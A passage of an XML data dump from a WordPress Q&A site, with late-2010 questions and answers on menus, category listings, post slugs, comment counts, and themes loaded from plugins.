&amp;lt;span&amp;gt;&amp;lt;a href=&quot;link-to-category-1&quot;&amp;gt;&amp;lt;img src=&quot;the-category-1-image&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;a href=&quot;link-to-category-1&quot;&amp;gt;Category 1 Title&amp;lt;/a&amp;gt; The category description text goes here&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;span&amp;gt;&amp;lt;a href=&quot;link-to-category-2&quot;&amp;gt;&amp;lt;img src=&quot;the-category-2-image&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;a href=&quot;link-to-category-2&quot;&amp;gt;Category 2 Title&amp;lt;/a&amp;gt; The category description text goes here&#xA;    &amp;lt;/li&amp;gt;&#xA;    etc...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a stub file I've started...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'cb_category_listing' );&#xA;&#xA;function cb_category_listing( $content )&#xA;{&#xA;    if ( is_home() ) {&#xA;        $cat_args['title_li'] = '';&#xA;        $cat_args['exclude_tree'] = 1;&#xA;        $cat_args['exclude'] = 1;&#xA;        $myContent = wp_list_categories(apply_filters('widget_categories_args', $cat_args)); &#xA;        $content .= $myContent;&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-06T20:44:09.917" LastActivityDate="2011-02-09T00:10:01.700" Title="Category listing with thumbnail and description on home page" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="5956" PostTypeId="1" AcceptedAnswerId="5963" CreationDate="2010-12-26T18:11:24.337" Score="1" ViewCount="116" Body="&lt;p&gt;I am currently a CS student and an aspiring programmer/web developer. I am wondering whether it is worth taking the time to master html and css to make websites when CMS services/wysiwyg like wordpress and various others seem to be becoming more and more functional. &lt;strong&gt;Does anyone think these publishing services might eventually make the need to design websites from raw code unnecessary? If not, please explain why.&lt;/strong&gt; If designing a website eventually becomes as simple as using Photoshop I would much rather invest my time in programming languages.&lt;/p&gt;&#xA;" OwnerUserId="2162" LastActivityDate="2010-12-26T19:33:32.743" Title="raw code vs wordpress" Tags="&lt;css&gt;&lt;html&gt;&lt;cms&gt;" AnswerCount="3" />
  <row Id="5957" PostTypeId="2" ParentId="5955" CreationDate="2010-12-26T18:16:13.530" Score="0" ViewCount="" Body="&lt;p&gt;The easy way would be with something like this &lt;a href=&quot;http://wordpress.org/extend/plugins/category-images/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/category-images/&lt;/a&gt; . Or you could write your own hook.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-26T18:16:13.530" CommentCount="2" />
  <row Id="5958" PostTypeId="2" ParentId="5950" CreationDate="2010-12-26T18:45:51.677" Score="1" ViewCount="" Body="&lt;p&gt;Sorry for not having a specific answer but this will point you in the right direction, you should be able to do this in your functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off you probably want to get the post thumbnial using  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create an array function to get the post thumbnails, I will assume the &quot;bigimage&quot; has a key value in  $wpdb-&gt;postmeta.  If so you can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_post_meta&lt;/a&gt; to then insert the image url or id or whatever into that custom field per post.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-26T18:45:51.677" />
  <row Id="5959" PostTypeId="2" ParentId="5956" CreationDate="2010-12-26T18:51:37.393" Score="2" ViewCount="" Body="&lt;p&gt;Absolutely not. While Wordpress and other CMSs allow for some powerful websites you still need to know the code behind it to really unleash their true power. For example, you could never make a theme for Wordpress without knowing HTML and CSS. It always helps to have an understanding of the architecture your platform runs off of as well, in WPs case PHP/MYSQL. I personally always end up making various modifications to the base code of my WP installs and make my own themes for it. So no, I don't think they will ever go away. &lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2010-12-26T18:51:37.393" />
  <row Id="5960" PostTypeId="1" AcceptedAnswerId="6093" CreationDate="2010-12-26T18:54:05.227" Score="0" ViewCount="86" Body="&lt;p&gt;I know that there is a way to crosspost from WP to Blogger but I am curious if there is a way to essentially mirror WP blog on Blogger completely, in other words crosspost both posts and comments?&lt;/p&gt;&#xA;" OwnerUserId="977" LastActivityDate="2010-12-29T19:58:36.963" Title="Crossposting from WP to Blogger with comments" Tags="&lt;comments&gt;&lt;posts&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="5961" PostTypeId="2" ParentId="5950" CreationDate="2010-12-26T19:02:25.500" Score="1" ViewCount="" Body="&lt;p&gt;I wouldn't bother doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just find the places in your theme files that call the custom field (probably something like &quot;echo get_post_meta('bigimage')&quot; or something) and replace those with a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;the_post_thumbnail()&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This saves you the trouble of messing with the data, and it makes administration much, much simpler going forward--which is kind of the point of post thumbnails. And it'll probably take less time than rigging some SQL to copy all that data.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-26T19:02:25.500" />
  <row Id="5962" PostTypeId="2" ParentId="5956" CreationDate="2010-12-26T19:07:12.407" Score="1" ViewCount="" Body="&lt;p&gt;Simply put - site that runs on WordPress has just as much CSS and HTML as any other site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything you need &lt;strong&gt;better&lt;/strong&gt; CSS and HTML skills to produce design for CMS, because resulting markup will be dynamic and would be mixed with lots of third party code as well.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-26T19:07:12.407" />
  <row Id="5963" PostTypeId="2" ParentId="5956" CreationDate="2010-12-26T19:33:32.743" Score="2" ViewCount="" Body="&lt;p&gt;I think your question conflates &lt;em&gt;design&lt;/em&gt; and &lt;em&gt;development&lt;/em&gt;, though they're not even close to the same thing. Sites are rarely &quot;designed from code&quot;...they're designed in Photoshop by designers and &lt;em&gt;translated&lt;/em&gt; into code by developers (of course, there are exceptions to this, but it's usually the case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'll assume you're just saying, &quot;since WordPress does a lot of the work for me upfront, do I really need to know how it works?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress is a great framework to build on top of, but the system itself is &lt;em&gt;made&lt;/em&gt; of &quot;raw&quot; css, php, html and JavaScript. If you don't understand all of these things (at least at a basic level), you'll never be able to develop your own themes and plugins, or even to customize existing ones. And in general, you won't be able to translate finished designs to functioning sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because WordPress is so full-featured right out of the box (and because awesome support communities like this exist!), a lot of non-professionals get by as &quot;copy-and-pasters&quot;; never really understanding the code, but able to hack their way through issues as they pop up. This is fine if you're running a single, personal website. But if you plan to develop WordPress sites for other people (ie. professionally), you cannot get by without a solid understanding of php, html, css and JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there's even MORE stuff you need to know. SQL, XML, JSON, AJAX, http protocol basics, apache configuration, SEO techniques, basic *nix commands, domain configuration...the list gets longer every day, not shorter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short--yes, you need to have at least a basic understanding of how all of that stuff works if you plan to make websites for a living. No WYSIWYG or RAD tool will (in the foreseeable future, anyway) come along to replace the expertise of professional web designers and developers.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-26T19:33:32.743" />
  <row Id="5964" PostTypeId="2" ParentId="3968" CreationDate="2010-12-26T19:59:44.250" Score="0" ViewCount="" Body="&lt;p&gt;If you're using the blog tracking feature of BuddyPress, rather than querying WordPress' comments tables, I suggest you query the activity stream for 'new_blog_comment' updates only. The activity stream already records and aggregates this information into one database table.&lt;br&gt;&#xA;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;if ( bp_has_activities( 'user_id=1&amp;amp;object=blog&amp;amp;action=new_blog_comment' ) )&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://codex.buddypress.org/developer-docs/custom-buddypress-loops/the-activity-stream-loop/&quot; rel=&quot;nofollow&quot;&gt;http://codex.buddypress.org/developer-docs/custom-buddypress-loops/the-activity-stream-loop/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2010-12-26T19:59:44.250" />
  <row Id="5965" PostTypeId="1" CreationDate="2010-12-26T20:10:23.580" Score="3" ViewCount="154" Body="&lt;p&gt;I want to implement two menus that work like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Cars&#xA; *Animals   &amp;lt;-selected&#xA;  Recipes&#xA;--&#xA;  Bear&#xA; *Dog   &amp;lt;-selected&#xA;  Cat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the top menu in the main menu, the the menu below is the sub-menu. Not all main menu items have sub-menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an elegant way to implement this? Preferably, selecting the top menu item would select the first sub-menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wordpress version 3.03&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-12-27T11:29:59.457" LastActivityDate="2010-12-27T13:49:07.720" Title="How to implement separate sub-menus?" Tags="&lt;menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5966" PostTypeId="2" ParentId="5965" CreationDate="2010-12-27T00:01:47.443" Score="1" ViewCount="" Body="&lt;p&gt;I can somehow understand what you are asking for but I think you should make this more clear. You already posted an example, but I think the main problem is: You connect some type of data to each other which is not known to wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as long as you don't provide some hint how DOG is related to ANIMAL (okay, this looks obvious on first read, but how are those two menues connected to each other? Computers are dumb silly, so they always need hints, imagine?), the question can not be answered. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp list pages()&lt;/code&gt; (Wordpress Codex)&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_page_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_page_menu()&lt;/code&gt; (Wordpress Codex)&lt;/a&gt; functions. You can make use of those in your theme.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-27T13:49:07.720" LastActivityDate="2010-12-27T13:49:07.720" CommentCount="3" />
  <row Id="5967" PostTypeId="1" AcceptedAnswerId="5984" CreationDate="2010-12-27T00:33:39.960" Score="0" ViewCount="122" Body="&lt;p&gt;wp_list_pages seems to print out menus ok, but is there a way to alter the functionality so that i can display the menu in two colors..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the titles of 3 actual pages are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Big Cinema * Monaco&#xA;Theatre * San Franciso&#xA;Sport * Berlin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(each page really has two titles, the asterisk used to separate them. another character could be used..... or is there a way of entering two titles?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When these are displayed you would get the two titles for each page displayed a little differently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Big Cinema&lt;/em&gt; Monaco&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Theatre&lt;/em&gt; San Franciso&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sport&lt;/em&gt; Berlin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the italics above representing blue, the rest green)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to alter the wp_list_pages behaviour, or is there a better technique to do this?&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-12-28T00:10:24.883" Title="Two-tone menu items" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="5968" PostTypeId="2" ParentId="5967" CreationDate="2010-12-27T00:59:48.097" Score="1" ViewCount="" Body="&lt;p&gt;Sure, this is. Just locate the code of the function &lt;code&gt;wp_list_pages()&lt;/code&gt; (good to know that wordpress is free software so you can access the source) and then look for anything releated to action -or- hook -or- callback. Change the output according to your needs (good to know that HTML is an open standard as well as CSS is, so you can access ANYTHING you like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: YES you can achieve. Please see the PHP Manual for string functions, '*' is the string representation for &lt;em&gt;the asterisk&lt;/em&gt;, then visit the w3c website to see the definition of HTML and CSS which is the base for YOUR browser to display websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-27T00:59:48.097" CommentCount="2" />
  <row Id="5969" PostTypeId="2" ParentId="5938" CreationDate="2010-12-27T01:05:40.290" Score="1" ViewCount="" Body="&lt;p&gt;The answer is YES. I'm pretty sure it can. ;-)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-27T01:05:40.290" />
  <row Id="5971" PostTypeId="2" ParentId="5967" CreationDate="2010-12-27T06:21:19.100" Score="1" ViewCount="" Body="&lt;p&gt;You can include HTML tags in your page titles if you want - maybe the easiest way to do what you want is to include a span tag around the city in your page title, which you can style with css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, include the &quot;second title&quot; as a custom field and recover it with a filter on the_content... &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-27T06:21:19.100" CommentCount="1" />
  <row Id="5972" PostTypeId="1" AcceptedAnswerId="5976" CreationDate="2010-12-27T07:16:20.150" Score="1" ViewCount="230" Body="&lt;p&gt;I'm trying to create sub-posts like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/post/info/&#xA;/post2/info/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using wp_insert_post() and I have almost succeeded. I'm setting post_parent to the parent post ID and the post_type needs to be &quot;attachment&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But! The problem is that the post_name needs to be unique so the sub page needs to be info, info2 etc and that's not what I want. So when settings the post_name to the same I'm getting all sub pages on one page when visiting /post/info/ and /post2/info/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows if it's possible to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="624" LastActivityDate="2010-12-27T08:46:46.533" Title="Sub posts and non unique post_name" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5973" PostTypeId="1" CreationDate="2010-12-27T08:11:09.687" Score="0" ViewCount="68" Body="&lt;p&gt;I would like to find out the number of comments in total i have and display the number on my website  thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-06-14T04:17:10.350" Title="if need to get a total count for all comments and display result" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="5974" PostTypeId="1" CreationDate="2010-12-27T08:38:35.133" Score="1" ViewCount="313" Body="&lt;p&gt;I'm building a Wordpress Plugin and it has two tables and some data.&#xA;Right now, for displaying and changing the data, I'm using the wpdb function and manually creating the user interface (mimicking the Default one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see that other plugins have a more consistent style with their tables and the same features (like the bulk button). I'm getting suspicious about Wordpress Taxonomies. I read, but so far, taxonomies seems to be related to posts in a way or the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My data doesn't relate to posts, it's completely independent. Can I still use Wordpress Taxonomies? Can the taxonomy help me build a consistent interface?&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2010-12-27T13:48:44.290" Title="Creating a custom Admin panel" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="19" FavoriteCount="2" />
  <row Id="5975" PostTypeId="2" ParentId="5973" CreationDate="2010-12-27T08:40:25.063" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$numcomms = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;comments WHERE comment_approved = '1'&quot;);&#xA;if (0 &amp;lt; $numcomms) $numcomms = number_format($numcomms);&#xA;?&amp;gt;&#xA;&#xA;&#xA;There are &amp;lt;?php echo $numcomms; ?&amp;gt; in this blog.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source &lt;a href=&quot;http://www.wprecipes.com/how-to-display-the-total-number-of-comments-on-your-wordpress-blog&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/how-to-display-the-total-number-of-comments-on-your-wordpress-blog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-12-27T08:40:25.063" />
  <row Id="5976" PostTypeId="2" ParentId="5972" CreationDate="2010-12-27T08:46:46.533" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jonasl:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked a clarifying question but I'm going to go ahead and at least start to answer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function in WordPress core that controls post slugs and adds numbers to them in order to force them to be unique is &lt;code&gt;wp_unique_post_slug()&lt;/code&gt;. In WordPress 3.0.3 you can find it on line 2530 in &lt;code&gt;/wp-includes/post.php&lt;/code&gt;. I've copied it in full below for your review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll note it says &lt;em&gt;&quot;Attachment slugs must be unique across all types&quot;&lt;/em&gt; so if your children are &lt;code&gt;post_type='attachments'&lt;/code&gt; then this is what is forcing them to be unique.  In addition you'll note that the post types must have &lt;code&gt;'hierarchical'=&amp;gt;true&lt;/code&gt; or it will force them to be unique across all posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_unique_post_slug( $slug, $post_ID, $post_status, $post_type, $post_parent ) {&#xA;  if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) )&#xA;    return $slug;&#xA;&#xA;  global $wpdb, $wp_rewrite;&#xA;&#xA;  $feeds = $wp_rewrite-&amp;gt;feeds;&#xA;  if ( ! is_array( $feeds ) )&#xA;    $feeds = array();&#xA;&#xA;  $hierarchical_post_types = get_post_types( array('hierarchical' =&amp;gt; true) );&#xA;  if ( 'attachment' == $post_type ) {&#xA;    // Attachment slugs must be unique across all types.&#xA;    $check_sql = &quot;SELECT post_name FROM $wpdb-&amp;gt;posts WHERE post_name = %s AND ID != %d LIMIT 1&quot;;&#xA;    $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( $check_sql, $slug, $post_ID ) );&#xA;&#xA;    if ( $post_name_check || in_array( $slug, $feeds ) ) {&#xA;      $suffix = 2;&#xA;      do {&#xA;        $alt_post_name = substr ($slug, 0, 200 - ( strlen( $suffix ) + 1 ) ) . &quot;-$suffix&quot;;&#xA;        $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare($check_sql, $alt_post_name, $post_ID ) );&#xA;        $suffix++;&#xA;      } while ( $post_name_check );&#xA;      $slug = $alt_post_name;&#xA;    }&#xA;  } elseif ( in_array( $post_type, $hierarchical_post_types ) ) {&#xA;    // Page slugs must be unique within their own trees. Pages are in a separate&#xA;    // namespace than posts so page slugs are allowed to overlap post slugs.&#xA;    $check_sql = &quot;SELECT post_name FROM $wpdb-&amp;gt;posts WHERE post_name = %s AND post_type IN ( '&quot; . implode( &quot;', '&quot;, esc_sql( $hierarchical_post_types ) ) . &quot;' ) AND ID != %d AND post_parent = %d LIMIT 1&quot;;&#xA;    $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( $check_sql, $slug, $post_ID, $post_parent ) );&#xA;&#xA;    if ( $post_name_check || in_array( $slug, $feeds ) || preg_match( '@^(page)?\d+$@', $slug ) ) {&#xA;      $suffix = 2;&#xA;      do {&#xA;        $alt_post_name = substr( $slug, 0, 200 - ( strlen( $suffix ) + 1 ) ) . &quot;-$suffix&quot;;&#xA;        $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( $check_sql, $alt_post_name, $post_ID, $post_parent ) );&#xA;        $suffix++;&#xA;      } while ( $post_name_check );&#xA;      $slug = $alt_post_name;&#xA;    }&#xA;  } else {&#xA;    // Post slugs must be unique across all posts.&#xA;    $check_sql = &quot;SELECT post_name FROM $wpdb-&amp;gt;posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1&quot;;&#xA;    $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( $check_sql, $slug, $post_type, $post_ID ) );&#xA;&#xA;    if ( $post_name_check || in_array( $slug, $feeds ) ) {&#xA;      $suffix = 2;&#xA;      do {&#xA;        $alt_post_name = substr( $slug, 0, 200 - ( strlen( $suffix ) + 1 ) ) . &quot;-$suffix&quot;;&#xA;        $post_name_check = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( $check_sql, $alt_post_name, $post_type, $post_ID ) );&#xA;        $suffix++;&#xA;      } while ( $post_name_check );&#xA;      $slug = $alt_post_name;&#xA;    }&#xA;  }&#xA;&#xA;  return $slug;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are not using attachments as children &lt;em&gt;(which I fear you are based on your question)&lt;/em&gt; then you can possibly just define the post type as being &lt;code&gt;'hierarchical'=&amp;gt;true&lt;/code&gt;. If you can't do that I might be able to suggest a have to fake it during insert of the post but I can't promise doing so will not cause other posts in WordPress to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;&lt;strong&gt;are&lt;/strong&gt;&lt;/em&gt; using attachments and need this maybe you can explain more what you are trying to accomplish so that maybe we can suggest an alternative.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-27T08:46:46.533" CommentCount="7" />
  <row Id="5977" PostTypeId="2" ParentId="5974" CreationDate="2010-12-27T08:51:54.520" Score="5" ViewCount="" Body="&lt;p&gt;check &lt;a href=&quot;http://www.onextrapixel.com/2009/07/01/how-to-design-and-style-your-wordpress-plugin-admin-panel/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; out, I believe this might be what you're looking for. it helped me a lot.&lt;/p&gt;&#xA;" OwnerUserId="1535" LastEditorUserId="1535" LastEditorDisplayName="" LastEditDate="2010-12-27T13:48:44.290" LastActivityDate="2010-12-27T13:48:44.290" CommentCount="3" />
  <row Id="5978" PostTypeId="1" AcceptedAnswerId="5985" CreationDate="2010-12-27T10:17:03.850" Score="2" ViewCount="191" Body="&lt;p&gt;am building my first plugin , well its a mobile friendly plugin with Wordpress  , i  put the theme directory inside the plugins directory .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is : how i can manage to redirect to the theme in the plugin directory . if its a mobile browser  !! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /wp-content/plugins/mobview/theme/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;about redirection , i managed to use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        wp_redirect( plugins_url('/mobview/theme/index.php') );&#xA;        exit ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;kinda lost in the directory redirect inside the wordpress :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;H.&lt;/p&gt;&#xA;" OwnerUserId="2168" LastActivityDate="2010-12-27T14:11:09.817" Title="Wordpress Theme inside a plugin directory" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" />
  <row Id="5979" PostTypeId="1" AcceptedAnswerId="6043" CreationDate="2010-12-27T10:24:58.100" Score="2" ViewCount="736" Body="&lt;p&gt;I am trying to add a form where users can submit post from front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am Following this tutorial:&#xA;http:// wpshout.com/wordpress-submit-posts-from-frontend/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am doing is adding &lt;a href=&quot;http://new2wp.com/labs/downloads/New_Post_Forn_by-Jared_New2WP.txt&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt; to one of my page-template. The form shows up alright but when I click on the submit button it gives me &quot;&lt;strong&gt;Page not found error&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the commenter saying it is not working.&#xA;Can anyone point me to the right direction? Is the code incomplete?has flaws? Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Towfiq I.&lt;/p&gt;&#xA;" OwnerUserId="1905" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:39:26.933" LastActivityDate="2011-06-27T03:29:48.350" Title="Front-End Post Submission" Tags="&lt;posts&gt;&lt;front-end&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" />
  <row Id="5980" PostTypeId="2" ParentId="5978" CreationDate="2010-12-27T10:55:10.777" Score="2" ViewCount="" Body="&lt;p&gt;if i am not wrong then&#xA;try this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$includes_path = TEMPLATEPATH . '/your folder name/';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then write this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;require_once ($includes_path . 'file name');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-27T10:55:10.777" CommentCount="8" />
  <row Id="5981" PostTypeId="2" ParentId="5978" CreationDate="2010-12-27T11:42:50.527" Score="3" ViewCount="" Body="&lt;p&gt;You misunderstand mechanics of how theme works. It does have &lt;code&gt;index.php&lt;/code&gt; template, but request is still processed by WordPress main &lt;code&gt;index.php&lt;/code&gt; in site's root. It makes no sense to redirect visitor to theme's folder because themes are not meant to be visited directly (they expect WP core to be loaded for them and such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not proficient with such plugins, but I imagine they are likely using &lt;code&gt;template_redirect&lt;/code&gt; hook to load their templates instead of those of active theme on match to mobile browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they are quite a few plugins on this topic in official repository, you can look through their code to get an ideas for common techniques used.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-27T11:42:50.527" CommentCount="1" />
  <row Id="5983" PostTypeId="2" ParentId="5978" CreationDate="2010-12-27T13:05:46.290" Score="0" ViewCount="" Body="&lt;p&gt;well ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think , i mis-explained my question , thu i explained more in the sub-comments : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All i needed is : to activate another theme , in different directory , and to do such thing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;register the new theme directory :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;register_theme_directory( WP_PLUGIN_DIR . '/mobview/theme' )&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to add a filter to use this theme : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loading_mobv_template() {&#xA;    return 'hamzamob';&#xA;}&#xA;&#xA;function loading_mobv_style() {&#xA;    return 'hamzamob';&#xA;&#xA; }&#xA;&#xA;dd_filter('stylesheet','loading_mobv_style');&#xA;add_filter('template','loading_mobv_template'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all i need to do is to select if the browser is a mobile or not then activate the action . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you . &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;update :&#xA;this is the answer to my first question up . Thank you :) &lt;/p&gt;&#xA;" OwnerUserId="2168" LastEditorUserId="2168" LastEditorDisplayName="" LastEditDate="2010-12-27T14:08:58.077" LastActivityDate="2010-12-27T14:08:58.077" CommentCount="9" />
